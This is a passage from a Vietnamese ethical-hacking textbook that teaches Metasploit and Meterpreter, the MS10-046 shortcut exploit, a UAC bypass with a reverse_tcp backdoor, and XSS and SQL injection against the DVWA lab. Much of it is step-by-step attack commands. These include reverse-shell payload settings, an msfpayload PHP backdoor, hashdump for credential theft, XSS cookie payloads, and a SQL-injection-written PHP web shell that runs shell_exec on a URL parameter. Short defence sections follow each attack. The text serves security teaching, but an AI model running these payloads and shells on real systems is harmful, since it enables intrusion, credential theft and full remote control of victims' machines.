check: kiểm tra xem những option đã được set chính xác chưa.
d) Lựa chọn target
Lựa chọn hệ diều hành nào để thực hiện
show targets: những target được cung cấp bởi module đó
set: xác định target nào
vd: msf> use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
e) Lựa chọn payload
Payload là đoạn code mà sẽ chạy trên hệ thống remote machine, là một
phần của virus máy tính để thực thi mã độc.
show payloads: liệt kê ra những payload của module exploit hiện tại
info payload_name: xem thông tin chi tiết về payload đó
set payload payload_name: xác định payload module name.Sau khi
lựa chọn payload nào, dùng lệnh show options để xem những options
của payload đó
show advanced: xem những advanced options của payload đó
f) Thực thi exploit
exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung
cấp cho chúng ta những thông tin về hệ thống được khai thác
4. Giới thiệu Payload Meterpreter
Meterpreter, viết tắt từ Meta-Interpreter là một payload nâng cao có trong
Metasploit Framework. Muc đích của nó là để cung cấp những tập lệnh để khai thác,
69
tấn câng các máy remote computers. Nó được viết từ các developers dưới dạng shared
object (DLL) files. Meterpreter và các thành phần mở rộng được thực thi trong bộ nhớ,
hoàn toàn không được ghi lên đĩa nên có thể tránh được sự phát hiện từ các phần mềm
chống virus
Meterpreter cung cấp một tập lệnh để chúng ta có thể khai thác trên các remote
computers:
Fs(Filesystem): cung cấp quá trình tương tác với filesystem
Net: cho phép xem thông tin mạng của remote machine như IP, route
table…
Process:cho phép tạo tương tác với các tiến trình trên remote
machine
Sys: cho phép xem thông tin hệ thống, môi trường của remote
machine
a) Sử dụng module Fs
cd directory:giống lệnh cd của commandline, chuyển thư mục làm
việc
getcwd:cho biết thư mục đang làm việc hiện tại
ls:liệt kê các thư mục và tập tin
upload src1 [src2 ...] dst:upload file từ src tới dst.
download src1 [src2 ...] dst:download file từ src tới dst.
b) Sử dụng module Net
ipconfig:xem câu hình của card mạng của máy tính từ xa
route:xem bảng định tuyến của remote machine
c) Sử dụng module Process
execute -f file [ -a args ] [ -Hc ]:Câu lệnh execute cho phép tạo ra
một process mới trên remote machine và sử dụng process đó để khai
thác dữ liệu
kill pid1 pid2 pid3:huỷ hoặc tắt các process đang chạy trên máy
remote machine
ps:liệt kê những process của remote machine
d) Sử dụng module Sys
getuid: cho biết username hiện tại của remote machine
sysinfo:cho biết thông tin về máy tính nạn nhân: hệ điều hành, phiên
bản, nền tản 32bits hay 64bits
70
5. Cách phòng chống
Thường xuyên cập nhật các bản vá lỗi của Microsofts. Ví dụ như để Metasploit
không thể khai thác được lỗi Lsass_ms04_011, chúng ta phải cập nhật bản vá lỗi của
Microsoft. Theo Microsoft đánh giá, đây là một lỗi nghiêm trọng, có trên hầu hết tất cả
các hệ điều hành windows. Chúng ta nên sử dụng hotfix có number là 835732 để vá lỗi
trên.
II. Lỗi MS10-046 (2286198)
1. Giới thiệu
Đây là một lỗi rất nghiêm trọng liên quan đến Windows Shellcủa cho tất cả các
hệ điều hành bị ảnh hưởng, cho phép kẻ tấn công chiếm lấy toàn quyền điều khiển
Windows và thực thi mã nguồn từ xa. Lỗi này được phát hiện vào tháng 06/2010 và
đến tháng 08/2010, Microsoft tung ba bản vá lỗi.
Lỗi nguy hiểm này nằm trong các tập tin "shortcut" (*.lnk) của Windows, các
tập tin này thường nằm ở giao diện desktop hay trình đơn Start. Bằng cách tạo ra một
tập tin shortcut nhúng mã độc, tin tặc có thể tự động thực thi mã độc khi người dùng
xem tập tin shortcut hay nội dung của một thư mục chứa tập tin shortcut nhúng mã
độc.
Các bản Windows bị ảnh hưởng bao gồm.
71
2. Các bước tấn công:
Saukhi khởi động BackTrack và đang nhập thành công, ta khởi động
Terminal ta được:
Ta gõ tiếp: msfconsole và enter:
Hệ Điều Hành
Windows XP Service Pack 3
Windows Server 2008 for 32-bit Systems
and Windows Server 2008 for 32-bit
Systems Service Pack 2*
Windows XP Professional x64 Edition
Service Pack 2
Windows Server 2008 for x64-based
Systems and Windows Server 2008 for
x64-based Systems Service Pack 2*
Windows Server 2003 Service Pack 2
Windows Server 2008 for Itanium-based
Systems and Windows Server 2008 for
Itanium-based Systems Service Pack 2
Windows Server 2003 x64 Edition Service
Pack 2 Windows 7 for 32-bit Systems
Windows Server 2003 with SP2 for
Itanium-based Systems Windows 7 for x64-based Systems
Windows Vista Service Pack 1 and
Windows Vista Service Pack 2
Windows Server 2008 R2 for x64-based
Systems*
Windows Vista x64 Edition Service Pack 1
and Windows Vista x64 Edition Service
Pack 2
Windows Server 2008 R2 for Itanium-
based Systems
72
Để dùng mã lỗi ms10-046: search ms10-046 và enter
Ta gõ tiếp:
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader và
enter
73
Dùng lệnh: show options để xem các tham số cần thiết để có thể tiến
hành tấn công đươc:
o SRVHOST: địa chỉ máy của kẻ tấn công, để lắng nghe có nạn
nhân nào kết nối đến hay không
o SRVPORT: cổng lắng nghe, mặc định là http (80)
74
Ta sẽ:
o set PAYLOADwindows/meterpreter/reverse_tcp
o set SRVHOST 192.168.1.200
o set lhost địa chỉ IP: set LHOST 192.168.1.200. LHOST là
tham số của PAYLOAD mà ta vừa set ở trên.
exploit để khởi động server lắng nghe trên máy tính tấn công
76
Ta gõ vào địa chỉ của máy tấn công vào Type the location of the item:
http://192.168.1.200/anythingvà chọn Next
Đặt tên cho shortcut vừa mới tạo và nhấn Finish. Ta sẽ mở shortcut này:
77
Đợi một lát, trên máy tính tấn công ta được:
Dùng lệnh sessions để xem các phiên làm việc mà Metasploit đang có:
78
Để tương tác với 1 session nào đó ta thực hiện: sessions –i 1 (1 là id của
sessions)
Và bây giờ thì mọi việc đã trở nên dễ dàng hơn, khi kẻ tấn công đã điều khiển
được máy nạn nhân với toàn quyền. Ví dụ:
Lệnh sysinfo để lấy thông tin của máy nạn nhân:
Lệnh hashdump để lấy mật khẩu của người dùng dưới dạng hash
79
Lệnh rất hữu ích để sử dụng cmd (command-line): shell
3. Cách phòng chống
Thường xuyên cập nhật các bản vá lỗi của Windows để trách bị hacker lợi
dụng.
80
Bản vá lỗi có tên mã là KB2286198 chứa đựng phiên bản mới của tập tin
Shell32.dll, đây là phần cập nhật quan trọng. Shell32.dll là một tập tin thư viện rất
quan trọng trong Windows, nó chứa đựng một số hàm Windows Shell API. Nếu
Shell32.dll bị lỗi hay cập nhật lỗi, máy tính sẽ có tình trạng "Màn hình xanh chết chóc"
hay Blue Screen.
III. Lỗi BYPASSUAC
1. Giới thiệu
Từ Windows Vista trở về sau, Microsoft đã giới thiệu một tiện ích được xây
dựng sẵn là User Access Control (UAC). UAC làm tăng tính bảo mật của Windows
bằng cách giới hạn các phần mềm ứng dụng của nhóm quyền người sử dụng cơ bản.
Vì vậy, chỉ những phần mềm được người dùng tin tưởng mới nhận được quyền quản
trị, những phần mềm khác thì không. Tuy nhiên, với tài khoản của người quản trị, các
ứng dụng vẫn bị giới hạn như những tài khoản thường khác.
Các hệ điều hành có tích hợp sẵn User Access Control điều bị ảnh hưởng và có
thể khai thác.
2. Các bước tấn công
Vào Terminal, gõ msfconsole và Enter:
use exploit/multi/handler. Đây là một modume cung cấp nhiều chức
năng của hệ thống payload Metasploit cho chúng ta khai thác bằng cách
81
thực hiện: run post/windows/escalate/bypassuac như là ví dụ trong
trường hợp này và còn nhiều thứ khác nữa.
set PAYLOAD windows/meterpreter/reverse_tcp: cho phép kết nối
lại với máy tính tấn công để dễ dàng điều khiển.
set LHOST 192.168.1.202: host lắng nghe, địa chỉ IP của máy tấn công
set LPORT 6789:port lắng nghe, tùy ý miễn là chưa được sử dụng.
exploit để bắt đầu khởi động server.
83
Sau khi tạo xong, ta copy file backdoor.exe đến máy tính nạn nhân và
thực thi. Chúng ta có thể sử dùng Samba chia sẽ file giữa Windows và
Linux.
Trên máy tính Windows, ta sẽ share file với toàn quyền truy cập:
84
Trở lại máy tính nạn nhân, và thực thi file backdoor.exe vừa copy. Khi
đó trên máy tính nạn nhân chúng ta sẽ nhận được như sau:
Ta đã có 1 phiên làm việc vẫn chưa điều khiển toàn quyền được. Để thực hiện
ta cần thực hiện lệnh: run post/windows/escalate/bypassuac
85
Chúng ta có thể xem tất cả các lệnh hỗ trợ bằng lênh: help
3. Cách phòng chống
Rất tiếc là cho đến thời điểm hiện tại, Microsoft vẫn chưa xác nhận lỗi trong
UAC cũng như cung cấp bản vá cho lỗ hổng bảo mật này. Một phát ngôn viên của
Microsoft khẳng định không có lỗ hổng vào trong UAC cả. Vì thế, chúng ta cần cài đặt
phần mềm diệt virus, backdoor có uy tính trên thị trường để tránh bị lợi dụng.
86
Chương 7: WEB HACKING VỚI DVWA
I. Giới thiệu Đối với những chúng ta mới nghiên cứu hacking, môi trường thử nghiệm là rất
quan trọng, tuy nhiên tìm được môi trường thực tế, phù hợp với trình độ lại không đơn
giản.
Ngược lại, đối với những người có trình độ và kinh nghiệm hacking, chắc hẳn
các chúng ta cũng có nhu cầu thử nghiệm trình độ hacking của mình đến đâu cũng như
nâng cao thêm khả năng bản thân.
Vậy thì DVWA- Damn Vulnerable Web Application có thể đáp ứng nhu cầu
của cả những người mới vào cũng như những người đã có trình độ nhất định. DVWA
là một framework đã xây dựng sẵn những lỗ hổng bảo mật theo top 10 điểm yếu bảo
mật Web của OWASP. Trình độ từ mức low đến high có thể đáp ứng nhu cầu hack của
rất nhiều người.
Vậy DVWA là một ứng dụng web PHP / MySQL bị lỗi. Mục tiêu chính của nó
là giúp cho các chuyên gia an ninh kiểm tra kỹ năng và công cụ của họ trong một môi
trường hợp pháp, giúp các nhà phát triển web hiểu rõ hơn về các quá trình đảm bảo các
ứng dụng web và hỗ trợ giáo viên / học sinh để giảng dạy / học bảo mật ứng dụng web
trong một môi trường lớp học.
II. Hướng dẫn cài đặt DVWA trên Backtrack Do đây là framework trên nền php nên để đơn giản các chúng ta dựng
webserver bằng XAMPP trước, rồi copy DVWA vào, chúng ta sẽ sử dụng DVWA trên
giao diện web.
1. Tải và cài đặt XAMPP
Vì đây là phần mềm mã nguồn mở, nên các chúng ta hãy vào trang chủ của
XAMPP http://www.apachefriends.org/en/xampp.html để tải phiên bản mới nhất về
máy.
87
Sau khi đã download XAMPP về, các chúng ta vào Terminal và gõ lệnh như
hình bên dưới
Khởi động XAMPP lên
88
Sau cùng là mở trình duyệt web lên và gõ http://localhost ta sẽ được giao diện
chính của XAMPP như hình bên dưới:
2. Tải và cài đặt DVWA
Các chúng ta vào link http://www.dvwa.co.uk/ để tải DVWA về máy
89
Sau đó tiến hành giải nén file vừa download về và đặt vào thư mục
/opt/lampp/htdocs/
Vào trình duyệt web và gõ http://localhost/dvwa/ ta được giao diện chính của
DVWA như sau :
90
Chú ý:
Phải bật XAMPP lên trước thì mới có thể chạy DVWA.
Tại giao diện đăng nhập của DVWA, các chúng ta đăng nhập bằng
acc/pass mặc định là admin/password.
Chuẩn bị trước khi tấn công:
Mở trình duyệt web, gõ: localhost/dvwa. Có thể sử dụng dia_chi_ip/dvwa
91
Để khai thác các lỗi trên DVWA(XSS, SQL Injection), chúng ta phải thiết lập
Security Level là Low. Vì khi đó, những đoạn code được thêm vào sẽ được giữ
nguyên. Với mức High, sử dụng hàm htmlspecialchars() để chuyển các ký tự đặc biệt,
không giống với lúc nhập ban đầu. Ở mức Medium, chuỗi “<script>” sẽ bị xóa đi nên
không bi ảnh hưởng. Tuy nhiên, các thẻ html khác vẫn bị ảnh hưởng bình thường.
Vì thế chúng ta thiết lập Security Level là low: Chọn DVWA Security -> Low
-> Submit
92
III. Các kĩ thuật tấn công trên DVWA
1. XSS (Cross-Site Scripting)
a) Giới thiệu
Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để
tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công
bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay
những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác.
Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các
Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ
HTML.
XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi
này, chính vì thế ngày càng có nhiều người quan tâm đến lỗi này!
b) Phân loại XSS
XSS có thể được phân loại như sau:
Stored XSS Attacks
Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn
một đoạn script nguy hiểm (thường là Javascript) vào website của chúng ta thông qua
một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài..), để từ đó khi các thành
viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc này
thường được lưu lại trong database của website chúng ta nên gọi là Stored. Stored XSS
phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách đúng đắn,
khiến cho mã độc được lưu vào Database của website.
93
Reflected XSS Attacks
Trong hình thức này, kẻ tấn công thường gắn thêm đoạn mã độc vào URL của
website chúng ta và gởi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính mã
độc. Điều này xảy ra do ta không chú ý filter input từ URL của website mình.
XSS Attack Consequences Phương pháp này tương tự như 2 phương pháp trên. Tuy nhiên, điểm khác biệt
là cách mà payload được đưa tới server. Một site “read only” hay “brochureware”
cũng có thển hiễm XSS. XSS có thể gây thiệt hại từ mức độ nhỏ đến lớn như việc
chiếm tài khoản của người sử dụng. Một cuộc tấn công XSS có thể lấy được session
cookie, gây mất tài khoản sử dụng. Hoặc có thể ảnh hưởng tới dữ liệu người dùng đầu
cuối bằng cách cài đặt Trojan, hoặc redirect trang web người truy cập sang một trang
khác, hoặc thay đổi nội dung của một trang.
c) Tìm hiểu về hoạt động XSS
Về cơ bản, hoạt động của XSS có thể được mô tả như sau:
94
Mô tả hoạt động của XSS
Theo nguyên tắc trên, một hacker có thể lợi dụng các lỗ hổng bảo mật từ
một website. Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật
XSS, trong đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt load thêm các
website khác khi các lệnh HTML được hiển thị. Lợi dụng nguyên tắc này, các hacker
có thể chèn các đoạn mã độc vào và khiến máy nạn nhân bị tấn công XSS
d) Tác hại của XSS
XSS thường được sử dụng với các mục đích sau:
Đánh cắp thông tin
Giúp hacker có thể truy cập được vào những thông tin nhạy cảm
Lấy được quyền truy cập miễn phí vào những nội dung đúng ra phải trả
tiềnmới có được
Dò xét sở thích của người sử dụng mạng
Thay đổi diện mạo ( deface) một trang web nào đó
Tấn công từ chối dịch vụ (DoS)
Mã JavaScript độc có thể truy cập bất cứ thông tin nào sau đây:
- Cookie cố định (của site bị lỗi XSS) được duy trì bởi trình duyệt.
- RAM Cookie (của site bị lỗi XSS).
- Tên của tất cả các cửa sổ được mở từ site bị lỗi XSS.
- Bất cứ thông tin mà có thể truy cập được từ DOM hiện tại (như
value, mã HTML…).
95
e) Tấn công XSS
Thực hiện script: <script>alert(“XSS”); </script> để hiện thông báo trên trình
duyệt web
Kết quả nhận được thay vì chỉ lưu vào cơ sở dữ liêu:
Xem cookie của người dùng:
<script>alert(document.cookie); </script>
96
Chúng ta có thể gửi cookie này về trực tiếp máy tấn công thay vì chỉ hiện lên
màn hình.
Chúng ta có thể chèn các thẻ iframe vào:
<iframe src=‟http://www.ctu.edu.vn‟></iframe>
Ngoài ra, chúng ta có thể sử dùng Metasploit Framework (giới thiệu ở trên) để
tấn công chiêm quyền điều khiển cùng với backdoor cho phép máy tính mục tiêu kết
nối lại. Code tạo backdoor:
Msfpayload php/meterperter/reverse_tcp lhost=192.168.10.102 lport=4444
R > forum.php
97
Dùng msfconsole và thiết lập các thông số cần thiết để lắng nghe kết nối trên
server:
Trở lại XSS Stored, ta sử dụng script:
98
<script>
Windows.
</script>
Sau khi thực thi script trên xong, Metasploit Framework đã mở kết nối đến và
chúng ta có thể tấn công.
Một số hình ảnh tấn công:
100
f) Một số phương pháp phòng ngừa và ngăn chặn
Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không
quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này.
OWASP (The Open Web Application Standard Project) nói rằng để có thể xây dựng
các website bảo mật cao, đối với các dữ liệu của người sử dụng, nên:
Chỉ chấp nhận những dữ liệu hợp lệ.
Từ chối nhận các dữ liệu hỏng.
Liên tục kiểm tra và thanh lọc dữ liệu.
Những người phát triển web có thể bảo vệ website của mình khỏi bị lợi dụng
thông qua tấn công XSS, bằng cách đảm bảo những trang phát sinh động không chứa
các tag của script bằng cách lọc và xác nhận hợp lý các dữ liệu đầu vào từ phía người
dùng hoặc mã hóa(endcoding) và lọc các giá trị xuất cho người dùng.
2. SQL Injection
a) SQL Injection là gì?
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến
hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển
cho ứng dụng web xử lí, chúng ta có thể login mà không cần username và password,
remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là
một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Firefox, Google Chrome,
...
101
b) Các bước khai thác lỗ hổng trang web
Vào trang http://localhost/dvwa/, chọn SQL Injection (Blind):
Chúng ta bắt đầu khai thác lỗi từ ô nhập liệu User ID:
Nhập vào: 1
Nếu nhập vào:1’ or ‘1’=’1hoặc 1’ or ‘’=’’#ta được kết quả rất bất ngờ
102
Dấu # được sử dụng để loại bỏ tác dụng của dấu („) sau cùng trong câu lệnh
truy vấn sql:
SELECT first_name, last_name FROM users WHERE user_id =
‟$user_id„”
Xem tên cở dữ liệu: a’ UNION select 1, database();#
Xem user và system user: a’ UNION select system_user(), user();#
103
Xác định tên user mà người dùng đang sử dụng và phiên bản của MySQL
Xem tất cả các tên cơ sở dữ liệu cùng các bảng có trong hệ quản trị csdl
MySQL:
a’ UNION select table_schema, table_name, from
information_schema.tables;#
Chúng ta có thể thêm mệnh đề điều kiện WHERE để giới hạn lại kết quả
a’ UNION select table_schema, table_name, from information_schema.tables
where table_schema=’dvwa’;#
104
Liệt kê các column trong bảng:
a’ UNION select table_name, column_name, from
information_schema.columns where table_schema=’dvwa’;#
Tiếp tục thực hiện câu lệnh sau:
' union select '','<?php $print=shell_exec($_GET["cmd"]); echo
"<pre>$print</pre>"; ?>' into outfile ‘C:\\xampp\\htdocs\\sqlinjection.php' ;#
Sau khi tao xong, chúng ta chỉ cần thực hiện lệnh trên trình duyệt, phía sau chuỗi
?cmd=‟câu lệnh‟. Ví dụ: 192.168.10.20/sqlinjection.php?cmd=dirta được:
105
Bây giờ ta đã có toàn quyền điều khiển máy tính của victim.
a) Các phương án phòng chống SQL Injection
Đổi password mặc định của user “root”
Xoá tất cả các thủ tục được mặc định lưu trữ trên server
Lọc những ký tự có thể gây hại như „,”,–,:,# … ngay từ khi nhận yêu cầu truy
vấn từ bên ngoài
Update SQL với những bản mới nhất
Khoá các từ khóa nhạy cảm đối với SQL bằng cách dùng firewall chặn ngay từ
đầu vào
Mã hóa password
Loại bỏ những từ khóa SELECT, DELETE, INSERT,… trong câu truy vấn từ
bên ngoài.
106
TÀI LIỆU THAM KHẢO
[1] McGraw Hill Osborne,Media Hacking Exposed Sixth Edition Network
Security Secrets And SolutionsJan 2009
[2] Gordon “Fyodor” Lyon, Nmap Network Scanning: The Official Nmap
Project Guide to Network Discovery and Security Scanning
[3] www.wikipedia.org
[4] www.google.com.vn